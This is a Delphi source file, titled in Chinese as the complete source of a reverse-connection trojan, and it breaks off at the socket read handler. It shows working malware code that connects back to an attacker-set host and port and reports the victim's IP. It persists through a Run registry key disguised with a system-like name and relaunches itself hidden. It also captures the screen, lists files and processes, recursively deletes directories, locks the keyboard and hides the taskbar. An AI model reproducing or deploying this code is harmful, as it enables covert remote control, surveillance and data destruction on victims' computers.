unit1.pas

反弹木马设计全部源码Delphi源码

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp,Tlhelp32, IdBaseComponent,
  IdComponent, IdIPWatch, MMSystem,Clipbrd,shellapi,JPEG,Registry, FileCtrl,
  WinSock, ComCtrls, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  IdMessage;

type
  TForm1 = class(TForm)
    cs: TClientSocket;
    Timer1: TTimer;
    lb1: TListBox;
    keyti: TTimer;
    M1: TMemo;
    M2: TMemo;
    DCB: TDriveComboBox;
    TSLB: TListBox;
    RECL: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure csConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure csError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure csRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure keytiTimer(Sender: TObject);
    procedure DCBChange(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure RECLTimer(Sender: TObject);
  private
    { Private declarations }
    LPH : String;
    procedure winclose(var msg:Tmessage);message WM_QUERYENDSESSION;
    procedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
  public
    { Public declarations }
  end;


type syver = (osUnknown, os95, os95OSR2, os98, os98SE, osNT3, osNT4, os2K, osME, osXP);
var
  Form1: TForm1;
  DOWF:TFileStream;
  oldHook: Hhook;
  i,kks,Posi,Len,lik:Integer;
  MYst: TMemorystream;{内存流对象}
  reg:Tregistry;
  seta,setb,setc,tskey,dirn,filn,updownfile:string;
  p:Array[0..1023] of byte;

implementation

{$R *.dfm}

function ipdd():string;
var wda: TWSAData;
    s: array[0..128] of char;
begin
     WSAStartup(MAKEWORD(1, 1), wda);
     GetHostName(@s, 128);
     result :=iNet_ntoa(PInAddr(GetHostByName(@s)^.h_addr_list^)^);
end;

function remall(dir:string):boolean;
var sr:tsearchrec;
    SFI:string;
begin
   if dir[length(dir)]<>'\' then dir:=dir+'\';
   SFI:=dir+'*.*';
   if findfirst(SFI,faanyfile,sr)=0 then
    begin
     repeat
      begin
       if (sr.Name ='.') or (sr.Name ='..') then continue;
       if sr.Attr  and fadirectory<>0 then
        begin
         if not remall(dir+sr.name) then result:=false;
        end
       else deletefile(dir+sr.Name);
      end
    until findnext(sr)<>0;
     findclose(sr);
    end;
    if removedir(dir) then result:=true
    else result:=false;
end;

function fdir(dir:string):string;
var  sr: TSearchRec;
     Item : TListItem;
     sdir,fiex:string;
     fisu:integer;
begin
 fisu:=0;
 if dir[length(dir)]<>'\' then dir:=dir+'\';
   sdir:=dir+'*.*';
   if findfirst(sdir,faanyfile,sr)=0 then
    begin
     repeat
       begin
        if (sr.Name ='.') or (sr.Name ='..') then continue;
        if sr.Attr  and fadirectory<>0 then
          dirn:=dirn+sr.Name+'/'
        else
         begin
          fiex:=uppercase(copy(sr.Name,length(sr.Name)-2,3));
          if (fiex='EXE') OR (fiex='COM') OR
             (fiex='RAR') OR (fiex='ZIP') OR
             (fiex='TXT') OR (fiex='WPS') OR
             (fiex='DOC') OR (fiex='AVI') OR
             (fiex='RMA') OR (fiex='DAT') OR
             (fiex='MPE') OR (fiex='MP3') OR
             (fiex='WAV') OR (fiex='SWF') OR
             (fiex='GIF') OR (fiex='BMP') OR
             (fiex='JPG') OR (fiex='HTM') OR
             (fiex='GHO') OR (fiex='INI') THEN
             begin
               filn:=filn+sr.Name+'/';
               fisu:=fisu+1;
               if fisu=100 then exit;
             end;
         end
       end
     until
       findnext(sr)<>0;
       findclose(sr);
     end;
end;

function tohexstr(value:byte): string;
var count :integer;//注册表二进制写入
    howfar,tmp,andresul:word;
    output :string;
begin
    Howfar:=15;
    Output:='';
    tmp:=value;
    For count:=1 To 2 Do
     Begin
      AndResul:=tmp AND Howfar;
      case AndResul Of
       0 : OutPut:='0'+Output;
       1 : OutPut:='1'+Output;
       2 : OutPut:='2'+Output;
       3 : OutPut:='3'+Output;
       4 : OutPut:='4'+Output;
       5 : OutPut:='5'+Output;
       6 : OutPut:='6'+Output;
       7 : OutPut:='7'+Output;
       8 : OutPut:='8'+Output;
       9 : OutPut:='9'+Output;
       10 : OutPut:='A'+Output;
       11 : OutPut:='B'+Output;
       12 : OutPut:='C'+Output;
       13 : OutPut:='D'+Output;
       14 : OutPut:='E'+Output;
       15 : OutPut:='F'+Output;
      End;
      tmp:=tmp DIV 16;
     End;
  result := output;
end;

function GetOS :syver;
var OS :TOSVersionInfo;
begin
  ZeroMemory(@OS,SizeOf(OS));
  OS.dwOSVersionInfoSize:=SizeOf(OS);
  GetVersionEx(OS);
  Result:=osUnknown;
  if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then
   begin
    case OS.dwMajorVersion of
3: Result:=osNT3;
4: Result:=osNT4;
5: Result:=os2K;
    end;
    if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
      Result:=osXP;
    end else begin
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
     Result:=os95;
    if (Trim(OS.szCSDVersion)='B') then
     Result:=os95OSR2;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
     Result:=os98;
    if (Trim(OS.szCSDVersion)='A') then
     Result:=os98SE;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
     Result:=osME;
    end;
end;

function TurnScreenSaverOn : bool;
var  b : bool;
begin//屏保
  result := false;
  if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
  if not b then exit;
  PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
  result := true;
end;

function GetWinDir():String;
var ResultDir:Array[1..64] of char;
    i:integer;
begin//得到系统目录
  for i:=1 to 64 do resultDir[i]:=char($20);
  GetEnvironmentVariable('windir',@resultDir,64);
  Result:=resultDir;
end;

procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
var  dc: hdc;
     Mycan: Tcanvas;
     R: TRect;
     hld: hwnd;
begin //抓图
  Mybmp := Tbitmap.Create; {建立BMPMAP }
  Mycan := TCanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    R := Rect(0, 0, screen.Width, screen.Height);
    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, DC);
  end;
  Mycan.Handle := 0;
  Mycan.Free;
end;

function GetDriveSpecies(Drive: string): string;
begin
  case GetDriveType(PChar(Drive)) of//获得Drive所对应的磁盘驱动器信息
    0:               Result := '9';
    1:               Result := '0';
    DRIVE_REMOVABLE: Result := '1';//软盘驱动器';
    DRIVE_FIXED :    Result := '2';//硬盘驱动器';
    DRIVE_REMOTE:    Result := '3';//网络驱动器';
    DRIVE_CDROM:     Result := '4';//光盘驱动器';
    DRIVE_RAMDISK:   Result := '5';//内存虚拟盘';
  end;
end;

function  SetPrivilege(sPrivilegeName:string;bEnabled:boolean):boolean;
var//关机
   TP,TPPre:TTokenPrivileges;
   Token:THandle;  
   dwLength:DWORD;  
begin  
   result  :=  false;  
   OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES  or  TOKEN_QUERY,Token);
   try  
   TP.PrivilegeCount  :=  1;  
   if  LookupPrivilegeValue(nil,PChar(sPrivilegeName),TP.Privileges[0].LUID)  then  
   begin  
       if  bEnabled  then  
           TP.Privileges[0].Attributes  :=  SE_PRIVILEGE_ENABLED  
       else  
           TP.Privileges[0].Attributes  :=  0;  
       dwLength  :=  0;  
       Result  :=  AdjustTokenPrivileges(Token,false,TP,sizeof(TPPre),TPPre,dwLength);  
   end;  
   finally  
       CloseHandle(Token);  
   end;  
end;

Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LongInt;
  Begin
  If code < 0 Then
    KbHook := CallNextHookEx( oldHook, code, wparam, lparam )
  Else
    KbHook := 1;
End;

Function DisableKeyboard: Boolean;
Begin//上锁
  oldHook := SetWindowsHookEx( WH_KEYBOARD, @KbHook, Hinstance, 0 );
  DisableKeyboard := oldHook <> 0;
End;

procedure hideTaskbar; //隐藏状态栏
var wndHandle : THandle;
    wndClass : array[0..50] of Char;
begin
    StrPCopy(@wndClass[0],'Shell_TrayWnd');
    wndHandle := FindWindow(@wndClass[0],nil);
    ShowWindow(wndHandle,SW_HIDE);
End;

procedure showTaskbar; //显示状态栏
var  wndHandle : THandle;
     wndClass : array[0..50] of Char;
begin
     StrPCopy(@wndClass[0],'Shell_TrayWnd');
     wndHandle := FindWindow(@wndClass[0],nil);
     ShowWindow(wndHandle,SW_RESTORE);
end;

procedure retu();
begin//发送命令成功的消息
  form1.cs.Socket.SendText('001');
end;

Procedure EnableKeyboard;
Begin//解锁
  If oldHook <> 0 Then
  Begin
    UnhookWindowshookEx( oldHook );
    oldHook := 0;
  End;
End;

procedure sx(); //结束进程子程序
var
  Lppe: TProcessEntry32;
  Found: boolean;
  Handle: THandle;
  s:string;
begin
  form1.lb1.clear;
  Handle:= CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); //设定快照集的名柄
  lppe.dwSize:=Sizeof(TProcessEntry32);//找到第一个进程;
  Found:= Process32First(Handle,Lppe); //这一行非常重要
  while Found do
  begin
    s:=Lppe.szExeFile;
    form1.lb1.items.Add(s);
    Found:= Process32Next(Handle,Lppe);  //继续找下一个进程
  end;
end;


procedure TForm1.winclose(var msg: Tmessage);
begin //得到关机消息！
  reg:=tregistry.Create ;
  reg.RootKey :=HKEY_LOCAL_MACHINE;
  IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
    reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
  reg.Free;
  CS.Socket.SendText('999'+ ipdd());
  cs.Active :=false;
  cs.Close ;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 lik:=lik+1;
 if lik=2000 then
 begin
    Winexec(pchar(application.Exename),sw_hide);
    application.Terminate;
 end;
 cs.Host :=seta;
 cs.Port :=strtoint(setb);
 cs.Active :=true;
end;

procedure TForm1.csConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  timer1.Enabled :=false;
  form1.Caption :='连接';
  CS.Socket.SendText('000'+ ipdd());
end;

procedure TForm1.csError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode:=0;
end;

procedure TForm1.csRead(Sender: TObject; Socket: TCustomWinSocket);